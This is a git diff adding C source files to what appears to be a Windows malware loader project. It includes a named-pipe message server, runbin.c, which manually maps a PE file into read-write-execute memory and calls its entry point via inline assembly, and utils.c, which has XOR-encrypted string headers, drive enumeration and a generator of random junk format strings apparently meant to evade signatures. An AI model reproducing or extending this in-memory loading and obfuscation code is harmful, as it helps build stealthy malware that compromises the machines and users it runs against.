+ // Print verbose messages. In production code, this should be for debugging only.
+ AppOutput("InstanceThread created, receiving and processing messages.");
+ // The thread's parameter is a handle to a pipe object instance.
+ hPipe = (HANDLE) lpvParam;
+ // Loop until done reading
+ while (1) {
+ // Read client requests from the pipe. This simplistic code only allows messages
+ // up to BUFSIZE characters in length.
+ fSuccess = ReadFile(
+ hPipe, // handle to pipe
+ pchRequest, // buffer to receive data
+ BUFSIZE*sizeof(char), // size of buffer
+ &cbBytesRead, // number of bytes read
+ NULL); // not overlapped I/O
+
+ if (!fSuccess || cbBytesRead == 0) {
+ if (GetLastError() == ERROR_BROKEN_PIPE) {
+ AppOutput("InstanceThread: client disconnected (ERROR: %lu).", GetLastError());
+ } else {
+ AppOutput("InstanceThread ReadFile failed (ERROR: %lu).", GetLastError());
+ }
+ break;
+ }
+ // Process the incoming message.
+ AppOutput("--- MESSAGE ---");
+ if (pchRequest[cbBytesRead-1] == '\n') {
+ pchRequest[cbBytesRead-1] = '\0';
+ }
+ printf("\"%.*s\"\n", (int)cbBytesRead, pchRequest);
+ memset(pchRequest, '\0', BUFSIZE*sizeof(char));
+ }
+
+ // Flush the pipe to allow the client to read the pipe's contents
+ // before disconnecting. Then disconnect the pipe, and close the
+ // handle to this pipe instance.
+ FlushFileBuffers(hPipe);
+ DisconnectNamedPipe(hPipe);
+ CloseHandle(hPipe);
+ HeapFree(hHeap, 0, pchRequest);
+ HeapFree(hHeap, 0, pchReply);
+ AppOutput("InstanceThread exitting.");
+ return 1;
+}
+
+static void AppOutput(LPSTR fmt, ...)
+{
+ char* pBuffer = NULL;
+ SYSTEMTIME stm;
+ GetSystemTime(&stm);
+
+ va_list args = NULL;
+ va_start(args, fmt);
+
+ vasprintf(&pBuffer, fmt, args);
+ printf("[%02d-%02d-%02d]: %s\n", stm.wHour, stm.wMinute, stm.wSecond, pBuffer);
+ free(pBuffer);
+
+ va_end(args);
+}
diff --git a/source/tools/runbin.c b/source/tools/runbin.c
new file mode 100644
index 0000000..af3b8f4
--- /dev/null
+++ b/source/tools/runbin.c
@@ -0,0 +1,217 @@
+/* modified (from http://securityxploded.com/memory-execution-of-executable.php) */
+#include <windows.h>
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+#include "loader.h"
+
+#define DEREF_32( name )*(DWORD *)(name)
+
+
+static volatile PVOID kernel32 asm("__kernel32") = NULL;
+static volatile PVOID getproc asm("__getproc") = NULL;
+static volatile DWORD EntryAddr asm("__EntryAddr");
+static volatile PVOID memalloc asm("__memalloc") = NULL;
+static volatile PVOID ldr_ptr asm("__ldr") = NULL;
+
+static volatile struct loader_x86_data ldr;
+static volatile DWORD size = 0x0;
+static volatile PVOID vpointer = NULL;
+
+static volatile DWORD retval asm("__retval") = -1;
+
+
+int main(int argc, char *argv[])
+{
+ if (argc != 2 && argc != 3 && argc != 4) {
+ fprintf(stderr, "usage: %s path-to-dynamic-library [preferred-Virtual-Address] [wait-time]\n", argv[0]);
+ return -1;
+ }
+
+ DWORD dwWait = 2;
+
+ if (argc == 4) {
+ errno = 0;
+ dwWait = strtoul(argv[3], NULL, 10);
+ if (errno != 0)
+ dwWait = 2;
+ }
+
+ BOOL doAllocAt = FALSE;
+ PVOID allocPtr = NULL;
+ if (argc >= 3) {
+ doAllocAt = TRUE;
+ char* errch = NULL;
+ allocPtr = (PVOID)strtoul(argv[2], &errch, 16);
+ }
+
+ HANDLE handle;
+ HINSTANCE laddress;
+ LPSTR libname;
+ DWORD byteread;
+ PIMAGE_NT_HEADERS nt;
+ PIMAGE_SECTION_HEADER section;
+ DWORD dwValueA;
+ DWORD dwValueB;
+ DWORD dwValueC;
+ DWORD dwValueD;
+
+ // read the file
+ printf("Reading file..\n");
+ handle = CreateFile(argv[1],GENERIC_READ,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
+ if (handle == INVALID_HANDLE_VALUE) {
+ fprintf(stderr, "%s: file(%s) does not exist or is not readable\n", argv[0], argv[1]);
+ return -1;
+ }
+
+ // get the file size
+ size = GetFileSize(handle,NULL);
+ if (size <= 0) {
+ fprintf(stderr, "%s: invalid file(%s) size\n", argv[0], argv[1]);
+ return -1;
+ }
+
+ // Allocate the space
+ vpointer = VirtualAlloc(NULL,size,MEM_COMMIT,PAGE_READWRITE);
+
+ // read file on the allocated space
+ ReadFile(handle,vpointer,size,&byteread,NULL);
+ CloseHandle(handle);
+ printf("File loaded into memory ..\n");
+ printf("address............: 0x%X (%lu)\n", (unsigned int)vpointer, (long unsigned int)vpointer);
+ printf("size...............: 0x%X (%lu)\n", (unsigned int)size, size);
+ printf("Parse PE-Header ..\n");
+
+ // read NT header of the file
+ nt = (PIMAGE_NT_HEADERS)((PCHAR)vpointer + ((PIMAGE_DOS_HEADER)vpointer)->e_lfanew);
+ printf("e_lfanew...........: 0x%X (%ld)\n", (unsigned int)((PIMAGE_DOS_HEADER)vpointer)->e_lfanew, ((PIMAGE_DOS_HEADER)vpointer)->e_lfanew);
+ handle = GetCurrentProcess();
+
+ // get VA of entry point
+ printf("AddressOfEntryPoint: 0x%X (%ld)\n", (unsigned int)nt->OptionalHeader.AddressOfEntryPoint, nt->OptionalHeader.AddressOfEntryPoint);
+ printf("ImageBase..........: 0x%X (%ld)\n", (unsigned int)nt->OptionalHeader.ImageBase, nt->OptionalHeader.ImageBase);
+ printf("SizeOfImage........: 0x%X (%ld)\n", (unsigned int)nt->OptionalHeader.SizeOfImage, nt->OptionalHeader.SizeOfImage);
+ printf("SizeOfHeaders......: 0x%X (%ld)\n", (unsigned int)nt->OptionalHeader.SizeOfHeaders, nt->OptionalHeader.SizeOfHeaders);
+ printf("SizeOptionalHeader.: 0x%X (%d)\n", (unsigned int)nt->FileHeader.SizeOfOptionalHeader, nt->FileHeader.SizeOfOptionalHeader);
+
+ // Allocate the space with Imagebase as a desired address allocation request
+ memalloc = VirtualAllocEx(
+ handle,
+ (doAllocAt == FALSE ? (LPVOID)nt->OptionalHeader.ImageBase : allocPtr),
+ nt->OptionalHeader.SizeOfImage,
+ MEM_RESERVE | MEM_COMMIT,
+ PAGE_EXECUTE_READWRITE
+ );
+
+ // Check for NULL (esp. if the user wants to chooose a specific VA)
+ if (!memalloc) {
+ printf("FATAL: VirtualAllocEx failed with %d\n", (int)GetLastError());
+ exit(1);
+ }
+ EntryAddr = (DWORD)memalloc + nt->OptionalHeader.AddressOfEntryPoint;
+
+ // Write headers on the allocated space
+ WriteProcessMemory(handle,
+ memalloc,
+ vpointer,
+ nt->OptionalHeader.SizeOfHeaders,
+ 0
+ );
+
+
+ // write sections on the allocated space
+ section = IMAGE_FIRST_SECTION(nt);
+ printf("sizeof(section)....: 0x%X (%u)\n", sizeof(IMAGE_SECTION_HEADER), sizeof(IMAGE_SECTION_HEADER));
+ printf("FirstSectionRVA....: 0x%X (%ld)\n", (unsigned int)section[0].VirtualAddress, section[0].VirtualAddress);
+ printf("FirstSectionPTR....: 0x%X (%ld)\n", (unsigned int)section[0].PointerToRawData, section[0].PointerToRawData);
+ if ((unsigned int)memalloc != (unsigned int)nt->OptionalHeader.ImageBase) {
+ printf("Allocated memory block does not start at DLL image base!\n"
+ " -> 0x%X != 0x%X\n", (unsigned int)memalloc, (unsigned int)nt->OptionalHeader.ImageBase);
+ }
+
+ for (ULONG i = 0; i < nt->FileHeader.NumberOfSections; i++)
+ {
+ WriteProcessMemory(
+ handle,
+ (PCHAR)memalloc + section[i].VirtualAddress,
+ (PCHAR)vpointer + section[i].PointerToRawData,
+ section[i].SizeOfRawData,
+ 0
+ );
+ }
+
+ if (*(DWORD*)&(nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]) != 0x00000000)
+ {
+ // read import dirctory, if exists
+ dwValueB = (DWORD) &(nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]);
+
+ // get the VA
+ dwValueC = (DWORD)(memalloc) +
+ ((PIMAGE_DATA_DIRECTORY)dwValueB)->VirtualAddress;
+
+ while(((PIMAGE_IMPORT_DESCRIPTOR)dwValueC)->Name)
+ {
+ // get DLL name
+ libname = (LPSTR)((DWORD)(memalloc) +
+ ((PIMAGE_IMPORT_DESCRIPTOR)dwValueC)->Name);
+
+ // Load dll
+ laddress = LoadLibrary(libname);
+
+ // get first thunk, it will become our IAT
+ dwValueA = (DWORD)(memalloc) +
+ ((PIMAGE_IMPORT_DESCRIPTOR)dwValueC)->FirstThunk;
+
+ // resolve function addresses
+ while(DEREF_32(dwValueA))
+ {
+ dwValueD = (DWORD)(memalloc) + DEREF_32(dwValueA);
+ // get function name
+ LPSTR Fname = (LPSTR)((PIMAGE_IMPORT_BY_NAME)dwValueD)->Name;
+ // get function addresses
+ DEREF_32(dwValueA) = (DWORD)GetProcAddress(laddress,Fname);
+ dwValueA += 4;
+ }
+
+ dwValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
+ }
+ } else printf("No Import Table found, nothing to import ..\n");
+
+ memset((void*)&ldr, '\0', sizeof(ldr));
+ ldr.ptrToDLL = (uint32_t)vpointer;
+ ldr.sizOfDLL = size;
+ unsigned char marker[] = { _LOADER_ENDMARKER };
+ memcpy((void*)&ldr.endMarker, &marker[0], sizeof(ldr.endMarker));
+
+ ldr_ptr = (volatile PVOID) &ldr;
+ kernel32 = LoadLibraryA("KERNEL32.dll");
+ getproc = GetProcAddress((void*)kernel32, "GetProcAddress");
+
+ printf("Calling DLL AdrOfEntry ..\n");
+ // call the entry point :: here we assume that everything is ok.
+ asm volatile(
+ ".intel_syntax noprefix\n"
+ "pushad\n\t"
+ "pushfd\n\t"
+ "mov ebx,0xdeadbeef\n\t"
+ "mov ecx,[__getproc]\n\t"
+ "mov edx,[__kernel32]\n\t"
+ "mov edi,__memalloc\n\t"
+ "mov esi,__ldr\n\t"
+ "push 0x00000000\n\t"
+ "call [__EntryAddr]\n\t"
+ "pop esi\n\t"
+ "mov [__retval],eax\n\t"
+ "popfd\n\t"
+ "popad\n\t"
+ ".att_syntax\n"
+ );
+
+ sleep(dwWait);
+ printf("DLL returned: %X (%d)\n", (unsigned int)retval, (int)retval);
+ printf("GetLastError: 0x%X (%ld)\n", (unsigned int)GetLastError(), GetLastError());
+
+ return retval;
+}
diff --git a/source/utils.c b/source/utils.c
new file mode 100644
index 0000000..a8fcbb6
--- /dev/null
+++ b/source/utils.c
@@ -0,0 +1,434 @@
+#include "compat.h"
+#include "utils.h"
+#include "crypt.h"
+#include "math.h"
+
+#include <limits.h>
+
+#ifndef _NO_UTILS
+#include "crypt_strings.h"
+#include "xor_strings_gen.h"
+
+
+DWORD dwEnumDrives(struct LogicalDrives* destPtr, int destLen)
+{
+ TCHAR szTmp[512];
+ TCHAR* p = &szTmp[0];
+ DWORD max = destLen;
+
+ if (_GetLogicalDriveStrings(511, szTmp)) {
+ do {
+ if (destLen-- <= 0)
+ return 0;
+ COMPAT(memcpy)(&destPtr->name[0], p, MAX_PATH);
+ destPtr->devType = _GetDriveType(p);
+ DWORD bytesPerSector = 0;
+ DWORD sectorsPerCluster = 0;
+ if (_GetDiskFreeSpace(p, &sectorsPerCluster, &bytesPerSector,
+ &destPtr->freeClusters, &destPtr->totalClusters) == TRUE) {
+ destPtr->bytesPerSectorsPerCluster = bytesPerSector * sectorsPerCluster;
+ }
+ while (*p++) {}
+ } while (*p && ++destPtr);
+ } else return 0;
+
+ return max - destLen;
+}
+
+DWORD XMemAlign(DWORD size, DWORD align, DWORD addr)
+{
+ if (!(size % align))
+ return addr + size;
+ return addr + (size / align + 1) * align;
+}
+
+char* __xstrrev(char* s)
+{
+ int j,k,c;
+ for(k=0; s[k] != 0; k++);
+ for(j=0,k--; j<k; j++,k--)
+ {
+ c = s[j];
+ s[j] = s[k];
+ s[k] = c;
+ }
+ return s;
+}
+
+char* __xbintostr(const BYTE* buf, SIZE_T siz, SIZE_T delim, SIZE_T* newSizPtr)
+{
+ register SIZE_T i;
+ SIZE_T allocLen = ( delim > 0 ? (int)(siz/delim) : 1 ) + siz*2;
+ char* result = COMPAT(calloc)(allocLen+1, sizeof(char));
+ char tmp[4];
+
+ DBUF(HEX_ALPHA_ENUM, hexal);
+ tmp[3] = '\0';
+ for (i = 0; i < siz; ++i)
+ {
+ unsigned char halfByte = buf[i] >> 4;
+ tmp[0] = hexal[halfByte%16];
+ halfByte = buf[i] & 0x0F;
+ tmp[1] = hexal[halfByte%16];
+ tmp[2] = '\0';
+ if (delim>0 && i%delim==delim-1)
+ tmp[2] = ' ';
+ COMPAT(strcat)(result, tmp);
+ }
+ result[allocLen] = '\0';
+
+ if (newSizPtr)
+ *newSizPtr = allocLen;
+ return result;
+}
+
+char* __xultoa(UINT64 ullval, char *s, int radix)
+{
+ register int i;
+
+ i=0;
+ DBUF(LOWER_ALPHA_ENUM, lower);
+ do
+ {
+ s[i++] = lower[ullval % radix];
+ ullval /= radix;
+ }
+ while(ullval>0);
+
+ s[i] = '\0';
+ return __xstrrev(s);
+}
+
+char* __xltoa(INT64 n, char *s, int radix)
+{
+ unsigned long int ullval = 0;
+ int i, sign;
+
+ if((sign = (n < 0)) && radix == 10)
+ ullval = -n;
+ else
+ ullval = n;
+
+ DBUF(LOWER_ALPHA_ENUM, lower);
+ i=0;
+ do
+ {
+ s[i++] = lower[ullval % radix];
+ ullval /= radix;
+ }
+ while(ullval>0);
+
+ if (sign)
+ s[i++] = '-';
+ s[i] = '\0';
+
+ return __xstrrev(s);
+}
+
+char* __genGarbageFormatStr(size_t garbageSiz)
+{
+ DBUF(FORMAT_FAKE_ARR_ENUM, fakefmt);
+ size_t siz = (sizeof(fakefmt)/sizeof(fakefmt[0]))-1;
+ size_t start = 0, end = 0;
+ size_t alphaSiz = 0;
+ char** alphaArr = COMPAT(calloc)(sizeof(char**), alphaSiz+1);
+
+ for (size_t i = 0; i < siz; ++i)
+ {
+ if (fakefmt[i] != '\n') {
+ end++;
+ } else {
+ alphaSiz++;
+ size_t rndsiz = (__rdtsc() % 5)+1;
+ size_t rndnum = __rdtsc() % __pow(10, rndsiz);
+ alphaArr = COMPAT(realloc)(alphaArr, alphaSiz*sizeof(char**));
+ size_t idx = alphaSiz - 1;
+ alphaArr[idx] = COMPAT(calloc)(sizeof(char), end-start+rndsiz+1);
+ if ( *(fakefmt + start) == '%' && (__rdtsc() % 2) == 0) {
+ char buf[rndsiz+1];
+ __xultoa(rndnum, &buf[0], 10);
+ buf[rndsiz] = '\0';
+ char tmp[2];
+ tmp[0] = (unsigned char)'%';
+ tmp[1] = '\0';
+ size_t alphstart = 0;
+ COMPAT(strcat)((alphaArr[idx] + alphstart), tmp);
+ alphstart++;
+ COMPAT(strcat)((alphaArr[idx] + alphstart), buf);
+ alphstart += rndsiz;
+ COMPAT(memcpy)(alphaArr[idx] + alphstart, (const void*)(fakefmt + start + 1), end-start-1);
+ } else {
+ COMPAT(memcpy)(alphaArr[idx], (const void*)(fakefmt + start), end-start);
+ }
+ end++;
+ start = end;
+ }
+ }
+
+ char* ret = COMPAT(calloc)(sizeof(char), garbageSiz+1);
+ size_t cursiz = 0;
+ char* buf = NULL;
+ do {
+ if (buf) {
+ COMPAT(strcat)(ret, buf);
+ buf = NULL;
+ }
+
+ size_t idx = (__rdtsc() % alphaSiz);
+ buf = alphaArr[idx];
+ cursiz += COMPAT(strlen)(buf);
+ }
+ while (cursiz < garbageSiz);
+
+ for (size_t i = 0; i < alphaSiz; ++i)
+ {
+ COMPAT(free)(alphaArr[i]);
+ }
+ COMPAT(free)(alphaArr);
+ return ret;
+}
+
+char* __randstring(size_t length, const char* charset)
+{
+ char *randomString = NULL;
+ if (length)
+ {
+ randomString = COMPAT(calloc)(length+1, sizeof(char));
+ if (randomString)
+ {
+ for (size_t n = 0; n < length; n++)
+ {
+ int key = __rdtsc() % COMPAT(strlen)(charset);
+ randomString[n] = charset[key];
+ }
+ randomString[length] = '\0';
+ }
+ }
+ return randomString;
+}
+
+char* __genRandAlphaNumStr(size_t length)
+{
+ char* ret = NULL;
+ DBUF(LOWER_ALPHA_ENUM, lower);
+ ret = __randstring(length, (char*)lower);
+ return ret;
+}
+
+#if defined(_PRE_RELEASE) || defined(_RUN_TESTS)
+void __printByteBuf(const unsigned char* buf, size_t siz)
+{
+ char* hexbuf = __xbintostr(buf, siz, 0x1, NULL);
+ COMPAT(printf)("%s\n", hexbuf);
+ COMPAT(free)(hexbuf);
+}
+#endif
+
+#else
+#include <time.h>
+#endif /* _NO_UTILS */
+
+uint64_t __rdtsc(void)
+{
+ unsigned int lo, hi;
+ __asm__ __volatile__ ("rdtsc" : "=a" (lo), "=d" (hi));
+ return ((uint64_t)hi << 32) | lo;
+}
+
+void __pseudoRandom(unsigned char* buf, size_t siz)
+{
+#ifdef __MINGW32__
+ SYSTEMTIME st;
+ size_t seed;
+
+ _GetSystemTime(&st);
+ seed = ((st.wYear + st.wMonth + st.wDayOfWeek +
+ st.wDay + st.wMinute) * (st.wSecond + 1)) + __rdtsc();
+ for (size_t i = 0; i < siz; ++i) {
+ _GetSystemTime(&st);
+ buf[i] = (unsigned char)((seed * st.wMilliseconds) % 256);
+ seed++;
+ }
+#else
+ time_t st = time(NULL);
+ size_t seed = st + __rdtsc();
+
+ for (size_t i = 0; i < siz; ++i) {
+ st = time(NULL);
+ buf[i] = (unsigned char)((seed * st) % 256),
+ seed++;
+ }
+#endif
+}
+
+/* Strips backslashes from quotes */
+static char* unescapeToken(char *token)
+{
+ char *in = token;
+ char *out = token;
+
+ while (*in)
+ {
+ if (in >= out) {
+ break;
+ }
+
+ if ((in[0] == '\\') && (in[1] == '"')) {
+ *out = in[1];
+ out++;
+ in += 2;
+ } else {
+ *out = *in;
+ out++;
+ in++;
+ }
+ }
+ *out = 0;
+ return token;
+}
+
+/* Returns the end of the token, without chaning it. */
+char *qtok(char *str, char **next)
+{
+ char *current = str;
+ char *start = str;
+ int isQuoted = 0;
+
+ /* Eat beginning whitespace. */
+ while (*current && isspace(*current)) current++;
+ start = current;
+
+ if (*current == '"') {
+ isQuoted = 1;
+ /* Quoted token */
+ current++; // Skip the beginning quote.
+ start = current;
+ for (;;) {
+ /* Go till we find a quote or the end of string. */
+ while (*current && (*current != '"')) current++;
+ if (!*current) {
+ /* Reached the end of the string. */
+ goto finalize;
+ }
+ if (*(current - 1) == '\\') {
+ /* Escaped quote keep going. */
+ current++;
+ continue;
+ }
+ /* Reached the ending quote. */
+ goto finalize;
+ }
+ }
+ /* Not quoted so run till we see a space. */
+ while (*current && !isspace(*current)) current++;
+finalize:
+ if (*current) {
+ /* Close token if not closed already. */
+ *current = 0;
+ current++;
+ /* Eat trailing whitespace. */
+ while (*current && isspace(*current)) current++;
+ }
+ *next = current;
+
+ return isQuoted ? unescapeToken(start) : start;
+}
+
+long COMPAT(strtol)(const char* nptr, char** ptr, int base)
+{
+ register const char *s = nptr;
+ register unsigned long acc;
+ register int c;
+ register unsigned long cutoff;
+ register int neg = 0, any, cutlim;
+
+ /*
+ * Skip white space and pick up leading +/- sign if any.
+ * If base is 0, allow 0x for hex and 0 for octal, else
+ * assume decimal; if base is already 16, allow 0x.
+ */
+ do {
+ c = *s++;
+ } while (isspace(c));
+
+ if (c == '-') {
+ neg = 1;
+ c = *s++;
+ } else if (c == '+')
+ c = *s++;
+
+ if ((base == 0 || base == 16) &&
+ c == '0' && (*s == 'x' || *s == 'X')) {
+ c = s[1];
+ s += 2;
+ base = 16;
+ }
+
+ if (base == 0)
+ base = c == '0' ? 8 : 10;
+
+ /*
+ * Compute the cutoff value between legal numbers and illegal
+ * numbers. That is the largest legal value, divided by the
+ * base. An input number that is greater than this value, if
+ * followed by a legal input character, is too big. One that
+ * is equal to this value may be valid or not; the limit
+ * between valid and invalid numbers is then based on the last
+ * digit. For instance, if the range for longs is
+ * [-2147483648..2147483647] and the input base is 10,
+ * cutoff will be set to 214748364 and cutlim to either
+ * 7 (neg==0) or 8 (neg==1), meaning that if we have accumulated
+ * a value > 214748364, or equal but the next digit is > 7 (or 8),
+ * the number is too big, and we will return a range error.
+ *
+ * Set any if any `digits' consumed; make it negative to indicate
+ * overflow.
+ */
+
+ cutoff = neg ? -(unsigned long)LONG_MIN : LONG_MAX;
+ cutlim = cutoff % (unsigned long)base;
+ cutoff /= (unsigned long)base;
+
+ for (acc = 0, any = 0;; c = *s++) {
+ if (isdigit(c))
+ c -= '0';
+ else if (isalpha(c))
+ c -= isupper(c) ? 'A' - 10 : 'a' - 10;
+ else
+ break;
+ if (c >= base)
+ break;
+
+ if (any < 0 || acc > cutoff || (acc == cutoff && c > cutlim))
+ any = -1;
+ else {
+ any = 1;
+ acc *= base;
+ acc += c;
+ }
+ }
+
+ if (any < 0) {
+ acc = neg ? LONG_MIN : LONG_MAX;
+ } else if (neg)
+ acc = -acc;
+
+ if (ptr != 0)
+ *ptr = (char *) (any ? s - 1 : nptr);
+
+ return (acc);
+}
+
+#if defined(i386) || defined(i686)
+inline void atomic_inc(atomic_val* ptr)
+{
+ __asm__ volatile("lock;\n" "incl %0;\n" : "+m"(*ptr));
+}
+
+inline atomic_val atomic_xchg(atomic_val* ptr, atomic_val val)
+{
+ atomic_val tmp = val;
+ __asm__ volatile("xchgl %0, %1;\n" : "=r"(tmp), "+m"(*ptr) : "0"(tmp) : "memory");
+ return tmp;
+}
+#endif